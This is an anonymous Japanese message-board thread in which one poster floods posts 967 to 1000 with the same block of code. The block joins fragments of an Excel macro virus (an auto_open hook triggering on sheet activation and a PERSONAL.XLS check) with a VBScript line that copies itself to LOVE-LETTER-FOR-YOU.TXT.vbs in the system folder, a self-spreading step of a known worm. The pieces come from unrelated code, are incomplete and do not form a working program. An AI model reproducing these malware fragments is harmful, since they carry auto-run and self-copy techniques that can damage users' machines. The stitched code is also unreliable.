967 番組の途中ですが名無しです :2012/01/31(火) 22:59:34 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

968 番組の途中ですが名無しです :2012/01/31(火) 23:00:05 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

969 番組の途中ですが名無しです :2012/01/31(火) 23:00:36 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

970 番組の途中ですが名無しです :2012/01/31(火) 23:01:12 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

971 番組の途中ですが名無しです :2012/01/31(火) 23:01:43 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

972 番組の途中ですが名無しです :2012/01/31(火) 23:02:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

973 番組の途中ですが名無しです :2012/01/31(火) 23:02:46 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

974 番組の途中ですが名無しです :2012/01/31(火) 23:03:17 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

975 番組の途中ですが名無しです :2012/01/31(火) 23:03:48 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

976 番組の途中ですが名無しです :2012/01/31(火) 23:04:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

977 番組の途中ですが名無しです :2012/01/31(火) 23:04:51 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

978 番組の途中ですが名無しです :2012/01/31(火) 23:05:22 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

979 番組の途中ですが名無しです :2012/01/31(火) 23:05:54 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

980 番組の途中ですが名無しです :2012/01/31(火) 23:06:25 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

981 番組の途中ですが名無しです :2012/01/31(火) 23:06:56 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

982 番組の途中ですが名無しです :2012/01/31(火) 23:07:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

983 番組の途中ですが名無しです :2012/01/31(火) 23:07:58 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

984 番組の途中ですが名無しです :2012/01/31(火) 23:08:31 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

985 番組の途中ですが名無しです :2012/01/31(火) 23:09:02 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

986 番組の途中ですが名無しです :2012/01/31(火) 23:09:33 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

987 番組の途中ですが名無しです :2012/01/31(火) 23:10:04 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

988 番組の途中ですが名無しです :2012/01/31(火) 23:10:35 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

989 番組の途中ですが名無しです :2012/01/31(火) 23:11:07 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

990 番組の途中ですが名無しです :2012/01/31(火) 23:11:38 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

991 番組の途中ですが名無しです :2012/01/31(火) 23:12:09 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

992 番組の途中ですが名無しです :2012/01/31(火) 23:12:40 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

993 番組の途中ですが名無しです :2012/01/31(火) 23:13:12 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

994 番組の途中ですが名無しです :2012/01/31(火) 23:13:43 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

995 番組の途中ですが名無しです :2012/01/31(火) 23:14:14 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

996 番組の途中ですが名無しです :2012/01/31(火) 23:14:45 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

997 番組の途中ですが名無しです :2012/01/31(火) 23:15:18 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

998 番組の途中ですが名無しです :2012/01/31(火) 23:15:48 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

999 番組の途中ですが名無しです :2012/01/31(火) 23:16:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

1000 番組の途中ですが名無しです :2012/01/31(火) 23:16:50 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")




■ したらば のおすすめアイテム ■

ふともも写真館 制服写真部 - ゆりあ


この欄のアイテムは掲示板管理メニューから自由に変更可能です。


掲示板管理者へ連絡 無料レンタル掲示板